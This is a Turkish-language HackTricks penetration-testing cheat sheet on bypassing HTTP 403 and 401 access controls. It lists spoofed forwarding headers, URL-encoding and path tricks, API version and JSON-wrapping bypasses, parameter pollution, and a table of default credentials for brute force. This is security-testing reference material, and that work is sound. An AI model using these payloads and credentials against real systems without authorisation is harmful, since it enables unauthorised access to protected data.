hacktricks/network-services-pentesting/pentesting-web/403-and-401-bypasses.md

9.6 KiB
Raw Blame History

403 & 401 Bypass'leri

{% hint style="success" %} AWS Hacking'i öğrenin ve pratik yapın:HackTricks Eğitim AWS Kırmızı Takım Uzmanı (ARTE)
GCP Hacking'i öğrenin ve pratik yapın: HackTricks Eğitim GCP Kırmızı Takım Uzmanı (GRTE)

HackTricks'i Destekleyin
{% endhint %}

Zafiyet değerlendirmesi ve penetrasyon testi için anında kullanılabilir kurulum. Recon'dan raporlamaya kadar 20'den fazla araç ve özellik ile her yerden tam bir pentest gerçekleştirin. Pentester'ların yerini almıyoruz - onlara daha derinlemesine araştırma yapmaları, shell'leri patlatmaları ve eğlenmeleri için biraz zaman kazandırmak amacıyla özel araçlar, tespit ve istismar modülleri geliştiriyoruz.

{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}

HTTP Fiilleri/Yöntemleri Fuzzing

Dosyaya erişmek için farklı fiiller kullanmayı deneyin: GET, HEAD, POST, PUT, DELETE, CONNECT, OPTIONS, TRACE, PATCH, INVENTED, HACK

  • Yanıt başlıklarını kontrol edin, belki bazı bilgiler verilebilir. Örneğin, Content-Length: 55 ile HEAD için 200 yanıtı, HEAD fiilinin bilgiyi erişebileceği anlamına gelir. Ancak, bu bilgiyi dışarı çıkarmanın bir yolunu bulmanız gerekir.
  • X-HTTP-Method-Override: PUT gibi bir HTTP başlığı kullanmak, kullanılan fiili geçersiz kılabilir.
  • TRACE fiilini kullanın ve çok şanslıysanız, belki yanıtınızda ara proxy'ler tarafından eklenen başlıkları görebilirsiniz, bu da faydalı olabilir.

HTTP Başlıkları Fuzzing

  • Host başlığını rastgele bir değere değiştirin (burada işe yaradı)

  • Kaynağa erişmek için diğer Kullanıcı Ajanlarını kullanmayı deneyin.

  • HTTP Başlıklarını Fuzzing: HTTP Proxy Başlıkları, HTTP Kimlik Doğrulama Temel ve NTLM brute-force (sadece birkaç kombinasyon ile) ve diğer teknikleri kullanmayı deneyin. Bunu yapmak için fuzzhttpbypass aracını oluşturdum.

  • X-Originating-IP: 127.0.0.1

  • X-Forwarded-For: 127.0.0.1

  • X-Forwarded: 127.0.0.1

  • Forwarded-For: 127.0.0.1

  • X-Remote-IP: 127.0.0.1

  • X-Remote-Addr: 127.0.0.1

  • X-ProxyUser-Ip: 127.0.0.1

  • X-Original-URL: 127.0.0.1

  • Client-IP: 127.0.0.1

  • True-Client-IP: 127.0.0.1

  • Cluster-Client-IP: 127.0.0.1

  • X-ProxyUser-Ip: 127.0.0.1

  • Host: localhost

Eğer yol korunuyorsa, bu diğer başlıkları kullanarak yol korumasını aşmayı deneyebilirsiniz:

  • X-Original-URL: /admin/console
  • X-Rewrite-URL: /admin/console
  • Eğer sayfa bir proxy'nin arkasındaysa, belki de proxy, özel bilgilere erişmenizi engelliyordur. HTTP İstek Kaçırma veya hop-by-hop başlıkları** istismar etmeyi deneyin.**
  • Farklı yanıtlar aramak için özel HTTP başlıklarını fuzzing yapın.
  • HTTP Yöntemlerini fuzzing yaparken özel HTTP başlıklarını fuzzing yapın.
  • Host başlığını kaldırın ve belki de korumayı aşabileceksiniz.

Yol Fuzzing

Eğer /path engellenmişse:

  • /%2e/path _kullanmayı deneyin (eğer erişim bir proxy tarafından engelleniyorsa, bu korumayı aşabilir). Ayrıca_** /%252e**/path (çift URL kodlaması) deneyin.
  • Unicode bypass deneyin: /%ef%bc%8fpath (URL kodlu karakterler "/" gibidir) bu nedenle geri kodlandığında //path olacak ve belki de /path adı kontrolünü aşmış olacaksınız.
  • Diğer yol bypass'leri:
  • site.com/secret > HTTP 403 Yasak
  • site.com/SECRET > HTTP 200 Tamam
  • site.com/secret/ > HTTP 200 Tamam
  • site.com/secret/. > HTTP 200 Tamam
  • site.com//secret// > HTTP 200 Tamam
  • site.com/./secret/.. > HTTP 200 Tamam
  • site.com/;/secret > HTTP 200 Tamam
  • site.com/.;/secret > HTTP 200 Tamam
  • site.com//;//secret > HTTP 200 Tamam
  • site.com/secret.json > HTTP 200 Tamam (ruby)
  • Aşağıdaki durumlarda bu listeyi kullanın:
  • /FUZZsecret
  • /FUZZ/secret
  • /secretFUZZ
  • Diğer API bypass'leri:
  • /v3/users_data/1234 --> 403 Yasak
  • /v1/users_data/1234 --> 200 Tamam
  • {“id”:111} --> 401 Yetkisiz
  • {“id”:[111]} --> 200 Tamam
  • {“id”:111} --> 401 Yetkisiz
  • {“id”:{“id”:111}} --> 200 Tamam
  • {"user_id":"<legit_id>","user_id":"<victims_id>"} (JSON Parametre Kirliliği)
  • user_id=ATTACKER_ID&user_id=VICTIM_ID (Parametre Kirliliği)

Parametre Manipülasyonu

  • param değerini değiştirin: id=123 --> id=124
  • URL'ye ek parametreler ekleyin: ?id=124 —-> id=124&isAdmin=true
  • Parametreleri kaldırın
  • Parametrelerin sırasını değiştirin
  • Özel karakterler kullanın.
  • Parametrelerde sınır testi yapın — -234 veya 0 veya 99999999 gibi değerler sağlayın (sadece bazı örnek değerler).

Protokol versiyonu

HTTP/1.1 kullanıyorsanız 1.0 kullanmayı deneyin veya 2.0'ı destekleyip desteklemediğini test edin.

Diğer Bypass'ler

  • Alan adının IP veya CNAME'sini alın ve doğrudan iletişim kurmayı deneyin.
  • Sunucuyu zorlayın yaygın GET istekleri göndererek (Bu adam için Facebook'ta işe yaradı).
  • Protokolü değiştirin: http'den https'ye veya https'den http'ye
  • https://archive.org/web/ adresine gidin ve geçmişte o dosyanın dünya çapında erişilebilir olup olmadığını kontrol edin.

Brute Force

  • Şifreyi tahmin edin: Aşağıdaki yaygın kimlik bilgilerini test edin. Kurban hakkında bir şey biliyor musunuz? Ya da CTF meydan okuma adını mı?
  • Brute force: Temel, digest ve NTLM kimlik doğrulamasını deneyin.

{% code title="Yaygın kimlik bilgileri" %}

admin    admin
admin    password
admin    1234
admin    admin1234
admin    123456
root     toor
test     test
guest    guest

{% endcode %}

Otomatik Araçlar

Zafiyet değerlendirmesi ve penetrasyon testi için anında kullanılabilir kurulum. 20'den fazla araç ve özellik ile her yerden tam bir pentest gerçekleştirin; keşiften raporlamaya kadar. Pentester'ların yerini almıyoruz - onlara daha derinlemesine araştırma yapmaları, shell'leri patlatmaları ve eğlenmeleri için biraz zaman kazandırmak amacıyla özel araçlar, tespit ve istismar modülleri geliştiriyoruz.

{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}

{% hint style="success" %} AWS Hacking'i öğrenin ve pratik yapın:HackTricks Eğitim AWS Kırmızı Takım Uzmanı (ARTE)
GCP Hacking'i öğrenin ve pratik yapın: HackTricks Eğitim GCP Kırmızı Takım Uzmanı (GRTE)

HackTricks'i Destekleyin
{% endhint %}